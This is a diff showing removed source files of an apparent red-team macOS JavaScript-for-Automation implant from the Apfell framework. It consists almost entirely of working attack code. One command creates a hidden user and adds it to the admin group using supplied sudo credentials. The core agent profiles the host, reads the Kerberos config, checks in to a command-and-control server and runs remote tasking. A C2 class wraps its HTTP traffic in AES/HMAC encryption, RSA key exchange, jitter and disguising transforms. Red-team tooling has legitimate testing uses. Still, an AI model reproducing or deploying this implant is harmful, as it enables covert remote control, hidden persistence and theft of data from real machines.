||||
if(config.hasOwnProperty("realname") && config['realname'] != ''){ realname = config['realname']; }
|
||||
if(config.hasOwnProperty("uniqueid") && config['uniqueid'] != -1){ uniqueid = config['uniqueid']; }
|
||||
else if(config.hasOwnProperty('uniqueid') && typeof config['uniqueid'] == 'string' && config['uniqueid'] != ''){ uniqueid = parseInt(config['uniqueid']); }
|
||||
if(config.hasOwnProperty("primarygroupid") && config['primarygroupid'] != -1){ primarygroupid = config['primarygroupid']; }
|
||||
else if(config.hasOwnProperty('primarygroupid') && typeof config['primarygroupid'] == 'string' && config['primarygroupid'] != ''){ primarygroupid = parseInt(config['primarygroupid']); }
|
||||
if(config.hasOwnProperty("usershell") && config['usershell'] != ''){ usershell = config['usershell']; }
|
||||
if(config.hasOwnProperty("createprofile") && typeof config['createprofile'] == "boolean"){ createprofile = config['createprofile']; }
|
||||
if(config.hasOwnProperty("homedir") && config['homedir'] != ''){ homedir = config['homedir']; }
|
||||
else{ homedir += username; }
|
||||
if(config.hasOwnProperty("user") && config['user'] != ''){ user = config['user']; }
|
||||
else{ return "User's name is required to do sudo commands"; }
|
||||
if(config.hasOwnProperty("passwd") && config['passwd'] != ''){ passwd = config['passwd']; }
|
||||
else{ return "User's password is required to do sudo commands"; }
|
||||
// now do our series of dscl commands to set up the account
|
||||
try{
|
||||
let cmd = "dscl . create /Users/" + username;
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
if(hidden){
|
||||
cmd = "dscl . create /Users/" + username + " IsHidden 1";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
}
|
||||
cmd = "dscl . create /Users/" + username + " UniqueID " + uniqueid;
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "dscl . create /Users/" + username + " PrimaryGroupID " + primarygroupid;
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "dscl . create /Users/" + username + " NFSHomeDirectory \"" + homedir + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "dscl . create /Users/" + username + " RealName \"" + realname + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "dscl . create /Users/" + username + " UserShell " + usershell;
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
if(admin){
|
||||
cmd = "dseditgroup -o edit -a " + username + " -t user admin";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
}
|
||||
cmd = "dscl . passwd /Users/" + username + " \"" + password + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
if(createprofile){
|
||||
cmd = "mkdir \"" + homedir + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "cp -R \"/System/Library/User Template/English.lproj/\" \"" + homedir + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
cmd = "chown -R " + username + ":staff \"" + homedir + "\"";
|
||||
currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
|
||||
}
|
||||
return {"user_output": "Successfully ran the commands to create the user", "completed": true};
|
||||
}catch(error){
|
||||
return{"user_output": error.toString(), "status": "error", "completed": true};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output": error.toString(), "status": "error", "completed": true};
|
||||
}
|
||||
|
||||
};
|
||||
@@ -1,194 +0,0 @@
|
||||
// Created by Cody Thomas - @its_a_feature_
|
||||
ObjC.import('Cocoa');
|
||||
ObjC.import('Foundation'); //there by default I think, but safe to include anyway
|
||||
ObjC.import('stdlib');
|
||||
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
|
||||
var currentApp = Application.currentApplication();
|
||||
currentApp.includeStandardAdditions = true;
|
||||
//--------------IMPLANT INFORMATION-----------------------------------
|
||||
class agent{
|
||||
constructor(){
|
||||
this.procInfo = $.NSProcessInfo.processInfo;
|
||||
this.hostInfo = $.NSHost.currentHost;
|
||||
this.id = "";
|
||||
this.user = ObjC.deepUnwrap(this.procInfo.userName);
|
||||
this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName);
|
||||
//every element in the array needs to be unwrapped
|
||||
this.ip = ObjC.deepUnwrap(this.hostInfo.addresses); //probably just need [0]
|
||||
this.pid = this.procInfo.processIdentifier;
|
||||
//every element in the array needs to be unwrapped
|
||||
this.host = ObjC.deepUnwrap(this.hostInfo.names); //probably just need [0]
|
||||
//this is a dictionary, but every 'value' needs to be unwrapped
|
||||
this.environment = ObjC.deepUnwrap(this.procInfo.environment);
|
||||
this.uptime = this.procInfo.systemUptime;
|
||||
//every element in the array needs to be unwrapped
|
||||
this.args = ObjC.deepUnwrap(this.procInfo.arguments);
|
||||
this.osVersion = this.procInfo.operatingSystemVersionString.js;
|
||||
this.uuid = "UUID_HERE";
|
||||
}
|
||||
}
|
||||
var apfell = new agent();
|
||||
//--------------Base C2 INFORMATION----------------------------------------
|
||||
class baseC2{
|
||||
//To create your own C2, extend this class and implement the required functions
|
||||
//The main code depends on the mechanism being C2 with these functions.
|
||||
// the implementation of the functions doesn't matter though
|
||||
// You're welcome to add additional functions as well, but this is the minimum
|
||||
constructor(interval, baseurl){
|
||||
this.interval = interval; //seconds between callbacks
|
||||
this.baseurl = baseurl; //where to reach out to
|
||||
this.commands = [];
|
||||
}
|
||||
checkin(){
|
||||
//check in with c2 server
|
||||
}
|
||||
getTasking(){
|
||||
//reach out to wherever to get tasking
|
||||
}
|
||||
getConfig(){
|
||||
//gets the current configuration for tasking
|
||||
}
|
||||
postResponse(task, output){
|
||||
//output a response to a task
|
||||
}
|
||||
setConfig(params){
|
||||
//updates the current configuration for how to get tasking
|
||||
}
|
||||
download(task, params){
|
||||
//gets a file from the apfell server in some way
|
||||
}
|
||||
upload(task, params){
|
||||
//uploads a file in some way to the teamserver
|
||||
}
|
||||
}
|
||||
C2PROFILE_HERE
|
||||
//-------------SHARED COMMAND CODE ------------------------
|
||||
does_file_exist = function(strPath){
|
||||
var error = $();
|
||||
return $.NSFileManager.defaultManager.attributesOfItemAtPathError($(strPath).stringByStandardizingPath, error), error.code === undefined;
|
||||
};
|
||||
convert_to_nsdata = function(strData){
|
||||
// helper function to convert UTF8 strings to NSData objects
|
||||
var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUnicodeStringEncoding);
|
||||
return tmpString.dataUsingEncoding($.NSUTF16StringEncoding);
|
||||
};
|
||||
write_data_to_file = function(data, file_path){
|
||||
try{
|
||||
//var open_file = currentApp.openForAccess(Path(file_path), {writePermission: true});
|
||||
//currentApp.setEof(open_file, { to: 0 }); //clear the current file
|
||||
//currentApp.write(data, { to: open_file, startingAt: currentApp.getEof(open_file) });
|
||||
//currentApp.closeAccess(open_file);
|
||||
if(typeof data == "string"){
|
||||
data = convert_to_nsdata(data);
|
||||
}
|
||||
if (data.writeToFileAtomically($(file_path), true)){
|
||||
return "file written";
|
||||
}
|
||||
else{
|
||||
return "failed to write file";
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
return "failed to write to file: " + error.toString();
|
||||
}
|
||||
};
|
||||
default_load = function(contents){
|
||||
var module = {exports: {}};
|
||||
var exports = module.exports;
|
||||
if(typeof contents == "string"){
|
||||
eval(contents);
|
||||
}
|
||||
else{
|
||||
eval(contents.js);
|
||||
}
|
||||
return module.exports;
|
||||
};
|
||||
base64_decode = function(data){
|
||||
if(typeof data == "string"){
|
||||
var ns_data = $.NSData.alloc.initWithBase64Encoding($(data));
|
||||
}
|
||||
else{
|
||||
var ns_data = data;
|
||||
}
|
||||
var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js;
|
||||
return decoded_data;
|
||||
};
|
||||
base64_encode = function(data){
|
||||
if(typeof data == "string"){
|
||||
var ns_data = convert_to_nsdata(data);
|
||||
}
|
||||
else{
|
||||
var ns_data = data;
|
||||
}
|
||||
var encoded = ns_data.base64EncodedStringWithOptions(0).js;
|
||||
return encoded;
|
||||
};
|
||||
var exports = {}; // get stuff ready for initial command listing
|
||||
COMMANDS_HERE
|
||||
//console.log("about to load commands");
|
||||
var commands_dict = exports;
|
||||
var jsimport = "";
|
||||
|
||||
//-------------GET IP AND CHECKIN ----------------------------------
|
||||
if( $.NSDate.date.compare(C2.kill_date) === $.NSOrderedDescending ){
|
||||
$.NSApplication.sharedApplication.terminate(this);
|
||||
}
|
||||
let ip_found = false;
|
||||
C2.commands = Object.keys(commands_dict);
|
||||
let domain = "";
|
||||
if(does_file_exist("/etc/krb5.conf")){
|
||||
let contents = $.NSString.stringWithContentsOfFileEncodingError("/etc/krb5.conf", $.NSUTF8StringEncoding, $.nil).js;
|
||||
contents = contents.split("\n");
|
||||
for(let j = 0; j < contents.length; j++){
|
||||
if(contents[j].includes("default_realm")){
|
||||
domain = contents[j].split("=")[1].trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
for(let i=0; i < apfell.ip.length; i++){
|
||||
let ip = apfell.ip[i];
|
||||
if (ip.includes(".") && ip !== "127.0.0.1"){ // the includes(".") is to make sure we're looking at IPv4
|
||||
C2.checkin(ip,apfell.pid,apfell.user,ObjC.unwrap(apfell.procInfo.hostName),apfell.osVersion, "x64", domain);
|
||||
ip_found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!ip_found){
|
||||
C2.checkin("127.0.0.1",apfell.pid,apfell.user,ObjC.unwrap(apfell.procInfo.hostName),apfell.osVersion, "x64", domain);
|
||||
}
|
||||
//---------------------------MAIN LOOP ----------------------------------------
|
||||
function sleepWakeUp(){
|
||||
while(true){
|
||||
$.NSThread.sleepForTimeInterval(C2.gen_sleep_time());
|
||||
let output = "";
|
||||
let task = C2.getTasking();
|
||||
//console.log(JSON.stringify(task));
|
||||
let command = "";
|
||||
try{
|
||||
//console.log(JSON.stringify(task));
|
||||
if(task.length === 0){
|
||||
continue;
|
||||
}
|
||||
task = task[0];
|
||||
//console.log(JSON.stringify(task));
|
||||
command = task["command"];
|
||||
try{
|
||||
output = commands_dict[command](task, command, task['parameters']);
|
||||
}
|
||||
catch(error){
|
||||
if(error.toString().includes("commands_dict[command] is not a function")){
|
||||
output ={"user_output": "Unknown command: " + command, "status": "error", "completed": true};
|
||||
}
|
||||
else{
|
||||
output = {"user_output": error.toString(), "status": "error", "completed": true};
|
||||
}
|
||||
}
|
||||
C2.postResponse(task, output);
|
||||
}
|
||||
catch(error){
|
||||
C2.postResponse(task, {"user_output": error.toString(), "status": "error", "completed": true});
|
||||
}
|
||||
//task["command"] = "none"; //reset just in case something goes weird
|
||||
}
|
||||
}
|
||||
sleepWakeUp();
|
||||
@@ -1,532 +0,0 @@
|
||||
//-------------RESTFUL C2 mechanisms ---------------------------------
|
||||
class customC2 extends baseC2{
|
||||
|
||||
constructor(interval, baseurl){
|
||||
super(interval, baseurl);
|
||||
this.commands = [];
|
||||
this.c2_config = raw_c2_config;
|
||||
this.get_messages = this.c2_config['GET']['AgentMessage'];
|
||||
this.post_messages = this.c2_config['POST']['AgentMessage'];
|
||||
this.interval = this.c2_config['interval'];
|
||||
this.chunk_size = this.c2_config['chunk_size'];
|
||||
this.jitter = this.c2_config['jitter'];
|
||||
this.aes_psk = "AESPSK"; // base64 encoded key
|
||||
if(this.aes_psk !== ""){
|
||||
this.parameters = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyType, $.kSecAttrKeyTypeAES);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeySizeInBits, $.kSecAES256);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyClass, $.kSecAttrKeyClassSymmetric);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecClass, $.kSecClassKey);
|
||||
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
|
||||
let err = Ref();
|
||||
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, err);
|
||||
}
|
||||
this.using_key_exchange = this.c2_config['key_exchange'];
|
||||
this.exchanging_keys = this.using_key_exchange;
|
||||
this.dateFormatter = $.NSDateFormatter.alloc.init;
|
||||
this.dateFormatter.setDateFormat("yyyy-MM-dd");
|
||||
if(this.c2_config['kill_date'] !== undefined && this.c2_config['kill_date'] !== ""){
|
||||
this.kill_date = this.dateFormatter.dateFromString(this.c2_config['kill_date']);
|
||||
}else{
|
||||
this.kill_date = $.NSDate.distantFuture;
|
||||
}
|
||||
}
|
||||
get_random_element(x){
|
||||
return x[Math.floor(Math.random() * x.length)];
|
||||
}
|
||||
encrypt_message(uid, data){
|
||||
// takes in the string we're about to send, encrypts it, and returns a new string
|
||||
let err = Ref();
|
||||
let encrypt = $.SecEncryptTransformCreate(this.cryptokey,err);
|
||||
let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
|
||||
b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
|
||||
|
||||
//generate a random IV to use
|
||||
let IV = $.NSMutableData.dataWithLength(16);
|
||||
$.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
|
||||
b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
|
||||
// set our data to be encrypted
|
||||
let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
|
||||
//$.CFShow(err[0]);
|
||||
let encryptedData = $.SecTransformExecute(encrypt, err);
|
||||
// now we need to prepend the IV to the encrypted data before we base64 encode and return it
|
||||
//generate the hmac
|
||||
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
|
||||
let hmac_input = $.NSMutableData.dataWithLength(0);
|
||||
hmac_input.appendData(IV);
|
||||
hmac_input.appendData(encryptedData);
|
||||
b=$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, hmac_input, err);
|
||||
b=$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
|
||||
let hmac_data = $.SecTransformExecute(hmac_transform, err);
|
||||
|
||||
let final_message = $.NSMutableData.dataWithLength(0);
|
||||
final_message.appendData( $(uid).dataUsingEncoding($.NSUTF8StringEncoding) );
|
||||
final_message.appendData(IV);
|
||||
final_message.appendData(encryptedData);
|
||||
final_message.appendData(hmac_data);
|
||||
return final_message.base64EncodedStringWithOptions(0);
|
||||
}
|
||||
decrypt_message(nsdata){
|
||||
//takes in a base64 encoded string to be decrypted and returned
|
||||
//console.log("called decrypt");
|
||||
let err = Ref();
|
||||
let decrypt = $.SecDecryptTransformCreate(this.cryptokey, err);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
|
||||
//console.log("making ranges");
|
||||
//need to extract out the first 16 bytes as the IV and the rest is the message to decrypt
|
||||
let iv_range = $.NSMakeRange(0, 16);
|
||||
let message_range = $.NSMakeRange(16, nsdata.length - 48); // 16 for IV 32 for hmac
|
||||
let hmac_range = $.NSMakeRange(nsdata.length - 32, 32);
|
||||
let hmac_data_range = $.NSMakeRange(0, nsdata.length - 32); // hmac includes IV + ciphertext
|
||||
//console.log("carving out iv");
|
||||
let iv = nsdata.subdataWithRange(iv_range);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
|
||||
let message = nsdata.subdataWithRange(message_range);
|
||||
$.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
|
||||
// create an hmac and verify it matches
|
||||
let message_hmac = nsdata.subdataWithRange(hmac_range);
|
||||
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
|
||||
$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, nsdata.subdataWithRange(hmac_data_range), err);
|
||||
$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
|
||||
let hmac_data = $.SecTransformExecute(hmac_transform, err);
|
||||
if(hmac_data.isEqualToData(message_hmac)){
|
||||
let decryptedData = $.SecTransformExecute(decrypt, Ref());
|
||||
//console.log("making a string from the message");
|
||||
let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
|
||||
//console.log(decrypted_message.js);
|
||||
return decrypted_message;
|
||||
}
|
||||
else{
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
negotiate_key(){
|
||||
// Generate a public/private key pair
|
||||
let parameters = $({"type": $("42"), "bsiz": 4096, "perm": false});
|
||||
let err = Ref();
|
||||
let privatekey = $.SecKeyCreateRandomKey(parameters, err);
|
||||
//console.log("generated new key");
|
||||
let publickey = $.SecKeyCopyPublicKey(privatekey);
|
||||
let exported_public = $.SecKeyCopyExternalRepresentation(publickey, err);
|
||||
//$.CFShow($.CFMakeCollectable(err[0]));
|
||||
try{
|
||||
//this is the catalina case
|
||||
let b64_exported_public = $.CFMakeCollectable(exported_public);
|
||||
b64_exported_public = b64_exported_public.base64EncodedStringWithOptions(0).js; // get a base64 encoded string version
|
||||
exported_public = b64_exported_public;
|
||||
}catch(error){
|
||||
//this is the mojave and high sierra case
|
||||
exported_public = exported_public.base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
let session_key = Array(20).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
|
||||
let initial_message = {"session_id": session_key, "pub_key": exported_public, "action": "staging_rsa"};
|
||||
// Encrypt our initial message with sessionID and Public key with the initial AES key
|
||||
while(true){
|
||||
try{
|
||||
//let req = this.create_message(this.get_random_element(this.post_messages), initial_message, apfell.uuid);
|
||||
//let stage1 = this.make_request(req);
|
||||
let stage1 = this.make_request("POST", apfell.uuid, initial_message);
|
||||
let enc_key = $.NSData.alloc.initWithBase64Encoding(stage1['session_key']);
|
||||
let dec_key = $.SecKeyCreateDecryptedData(privatekey, $.kSecKeyAlgorithmRSAEncryptionOAEPSHA1, enc_key, err);
|
||||
// Adjust our global key information with the newly adjusted session key
|
||||
try{
|
||||
this.aes_psk = dec_key.base64EncodedStringWithOptions(0).js; // base64 encoded key
|
||||
}catch(error){
|
||||
let dec_key_collectable = $.CFMakeCollectable(dec_key);
|
||||
dec_key_collectable = dec_key_collectable.base64EncodedStringWithOptions(0).js;
|
||||
this.aes_psk = dec_key_collectable;
|
||||
}
|
||||
//console.log(JSON.stringify(json_response));
|
||||
this.parameters = $({"type": $.kSecAttrKeyTypeAES});
|
||||
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
|
||||
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
|
||||
this.exchanging_keys = false;
|
||||
return stage1['uuid'];
|
||||
}catch(error){
|
||||
//console.log("error in negotiate_key: " + error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
gen_sleep_time(){
|
||||
//generate a time that's this.interval += (this.interval * 1/this.jitter)
|
||||
let plus_min = Math.round(Math.random());
|
||||
if(plus_min === 1){
|
||||
return this.interval + (this.interval * (Math.round(Math.random()*this.jitter)/100));
|
||||
}else{
|
||||
return this.interval - (this.interval * (Math.round(Math.random()*this.jitter)/100));
|
||||
}
|
||||
}
|
||||
prepend(){
|
||||
return arguments[1] + arguments[0];
|
||||
}
|
||||
r_prepend(){
|
||||
return arguments[0].slice(String(arguments[1]).length);
|
||||
}
|
||||
append(){
|
||||
return arguments[0] + arguments[1];
|
||||
}
|
||||
r_append(){
|
||||
return arguments[0].slice(0, -1 * String(arguments[1]).length);
|
||||
}
|
||||
b64(){
|
||||
return base64_encode(String(arguments[0]));
|
||||
}
|
||||
r_b64(){
|
||||
return base64_decode(String(arguments[0]));
|
||||
}
|
||||
random_mixed(){
|
||||
let m = [...Array(Number(arguments[1]))].map(i=>(~~(Math.random()*36)).toString(36)).join('');
|
||||
return arguments[0] + m;
|
||||
}
|
||||
r_random_mixed(){
|
||||
return arguments[0].slice(0, -1 * Number(arguments[1]));
|
||||
}
|
||||
random_number(){
|
||||
let m = [...Array(Number(arguments[1]))].map(i=>(~~(Math.random()*10)).toString(10)).join('');
|
||||
return arguments[0] + m;
|
||||
}
|
||||
r_random_number(){
|
||||
return arguments[0].slice(0, -1 * Number(arguments[1]));
|
||||
}
|
||||
random_alpha(){
|
||||
let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
let m = Array(Number(arguments[1])).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
|
||||
return arguments[0] + m;
|
||||
}
|
||||
r_random_alpha(){
|
||||
return arguments[0].slice(0, -1 * Number(arguments[1]));
|
||||
}
|
||||
choose_random(){
|
||||
let choice = Math.floor(Math.random()* arguments[1].length);
|
||||
if(choice === arguments[1].length){choice -= 1;}
|
||||
return arguments[0] + arguments[1][choice];
|
||||
}
|
||||
r_choose_random(){
|
||||
for(let i = 0; i < arguments[1].length; i++){
|
||||
if(arguments[0].includes(arguments[1][i])){
|
||||
return arguments[0].replace(arguments[1][i], "");
|
||||
}
|
||||
}
|
||||
return arguments[0];
|
||||
}
|
||||
get_value(value, transforms){
|
||||
let tmp = value;
|
||||
try {
|
||||
if (transforms.length > 0) {
|
||||
for (let i = transforms.length - 1; i >= 0; i--) {
|
||||
switch (transforms[i]['function']) {
|
||||
case "base64":
|
||||
tmp = this.r_b64(tmp);
|
||||
break;
|
||||
case "prepend":
|
||||
tmp = this.r_prepend(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "append":
|
||||
tmp = this.r_append(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_mixed":
|
||||
tmp = this.r_random_mixed(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_number":
|
||||
tmp = this.r_random_number(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_alpha":
|
||||
tmp = this.r_random_alpha(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "choose_random":
|
||||
tmp = this.r_choose_random(tmp, transforms[i]['parameters']);
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmp;
|
||||
}catch(error){
|
||||
return "";
|
||||
}
|
||||
}
|
||||
retrieve_message(response, method="POST"){
|
||||
let data = this.get_value(($.NSString.alloc.initWithDataEncoding(response, $.NSUTF8StringEncoding)).js, this.c2_config[method]['ServerBody']);
|
||||
//console.log("in retrieve_message, returning: " + data);
|
||||
return data;
|
||||
}
|
||||
create_value(value, transforms){
|
||||
for(let i = 0; i < transforms.length; i++){
|
||||
switch(transforms[i]['function']){
|
||||
case "base64":
|
||||
value = this.b64(value);
|
||||
break;
|
||||
case "prepend":
|
||||
value = this.prepend(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "append":
|
||||
value = this.append(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_mixed":
|
||||
value = this.random_mixed(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_number":
|
||||
value = this.random_number(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_alpha":
|
||||
value = this.random_alpha(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "choose_random":
|
||||
value = this.choose_random(value, transforms[i]['parameters']);
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
create_message(endpoint, data, agent_id=apfell.id, method="POST"){
|
||||
if(this.aes_psk !== ""){
|
||||
data = this.encrypt_message(agent_id, JSON.stringify(data)).js;
|
||||
}else if(typeof(sendData) === "string"){
|
||||
data = $(uid + sendData).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0);
|
||||
}else{
|
||||
data = $(agent_id + JSON.stringify(data)).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
let base_url = this.get_random_element(endpoint['urls']);
|
||||
let base_uri = endpoint['uri'];
|
||||
for(let i in endpoint['urlFunctions']){
|
||||
let value = endpoint['urlFunctions'][i]['value'];
|
||||
if(value === undefined){value = "";}
|
||||
if(value === "message"){value = data;}
|
||||
value = this.create_value(value, endpoint['urlFunctions'][i]['transforms']);
|
||||
base_uri = base_uri.replace(endpoint['urlFunctions'][i]['name'], value);
|
||||
}
|
||||
let query_string = "?";
|
||||
for(let i in endpoint['QueryParameters']){
|
||||
let value = endpoint['QueryParameters'][i]['value'];
|
||||
if(value === undefined){value = "";}
|
||||
if(value === "message"){value = data;}
|
||||
value = this.create_value(value, endpoint['QueryParameters'][i]['transforms']);
|
||||
let NSCharacterSet = $.NSCharacterSet.characterSetWithCharactersInString("/+=\n").invertedSet;
|
||||
value = $(value).stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet).js;
|
||||
query_string += endpoint['QueryParameters'][i]['name'] + "=" + value + "&";
|
||||
}
|
||||
base_uri += query_string.slice(0, -1); //take off trailing & or ?
|
||||
let cookies = {};
|
||||
for(let i in endpoint['Cookies']){
|
||||
let value = endpoint['Cookies'][i]['value'];
|
||||
if(value === undefined){ value = "";}
|
||||
if(value === "message"){ value = data;}
|
||||
value = this.create_value(value, endpoint['Cookies'][i]['transforms']);
|
||||
cookies[endpoint['Cookies'][i]['name']] = value;
|
||||
}
|
||||
let headers = endpoint['AgentHeaders'];
|
||||
let cookie_header = "";
|
||||
for(let i in cookies){
|
||||
cookie_header += i + "=" + cookies[i] + ";";
|
||||
}
|
||||
if(cookie_header !== ""){
|
||||
headers['Cookie'] = cookie_header;
|
||||
}
|
||||
let url = base_url + base_uri;
|
||||
let body = this.create_value(data, endpoint['Body']);
|
||||
// now make the request object
|
||||
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
|
||||
for(let i in headers) {
|
||||
req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(headers[i]), $.NSString.alloc.initWithUTF8String(i));
|
||||
}
|
||||
if(method === "POST") {
|
||||
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
|
||||
let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true);
|
||||
let postLength = $.NSString.stringWithFormat("%d", postData.length);
|
||||
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
|
||||
req.setHTTPBody(postData);
|
||||
}
|
||||
return req;
|
||||
}
|
||||
getConfig(){
|
||||
//A RESTful base config consists of the following:
|
||||
// BaseURL (includes Port), CallbackInterval, KillDate (not implemented yet)
|
||||
let config = {
|
||||
"C2": {
|
||||
"commands": this.commands.join(","),
|
||||
"api_version": this.api_version,
|
||||
"aes_psk": this.aes_psk,
|
||||
"config": this.c2_config
|
||||
},
|
||||
"Host": {
|
||||
"user": apfell.user,
|
||||
"fullName": apfell.fullName,
|
||||
"ips": apfell.ip,
|
||||
"hosts": apfell.host,
|
||||
"environment": apfell.environment,
|
||||
"uptime": apfell.uptime,
|
||||
"args": apfell.args,
|
||||
"pid": apfell.pid,
|
||||
"apfell_id": apfell.id,
|
||||
"payload_id": apfell.uuid
|
||||
}};
|
||||
return JSON.stringify(config, null, 2);
|
||||
}
|
||||
checkin(ip, pid, user, host, os, architecture, domain){
|
||||
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os": os, "architecture": architecture, "domain": domain, "action": "checkin"};
|
||||
info["process_name"] = apfell.procInfo.processName.js;
|
||||
info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
|
||||
if(user === 'root'){info['integrity_level'] = 3;}
|
||||
//let req = null;
|
||||
let jsondata = null;
|
||||
if(this.exchanging_keys){
|
||||
let sessionID = this.negotiate_key();
|
||||
jsondata = this.make_request("POST", sessionID, info);
|
||||
}else{
|
||||
jsondata = this.make_request("POST", apfell.uuid, info);
|
||||
}
|
||||
apfell.id = jsondata.id;
|
||||
// if we fail to get an ID number then exit the application
|
||||
if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); }
|
||||
return jsondata;
|
||||
}
|
||||
getTasking(){
|
||||
while(true){
|
||||
try{
|
||||
let task = this.make_request("GET", apfell.id, {"tasking_size":1, "action": "get_tasking"});
|
||||
return task['tasks'];
|
||||
}
|
||||
catch(error){
|
||||
//console.log("error in getTasking: " + error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
postResponse(task, data){
|
||||
//depending on the amount of data we're sending, we might need to chunk it
|
||||
data['task_id'] = task.id;
|
||||
let postData = {"action": "post_response", "responses": [data]};
|
||||
return this.make_request("POST", apfell.id, postData );
|
||||
}
|
||||
make_request(method="POST", uid=apfell.id, data=null){
|
||||
while(true){
|
||||
try{
|
||||
let req;
|
||||
if(method === "POST"){
|
||||
if(this.post_messages.length > 0) {
|
||||
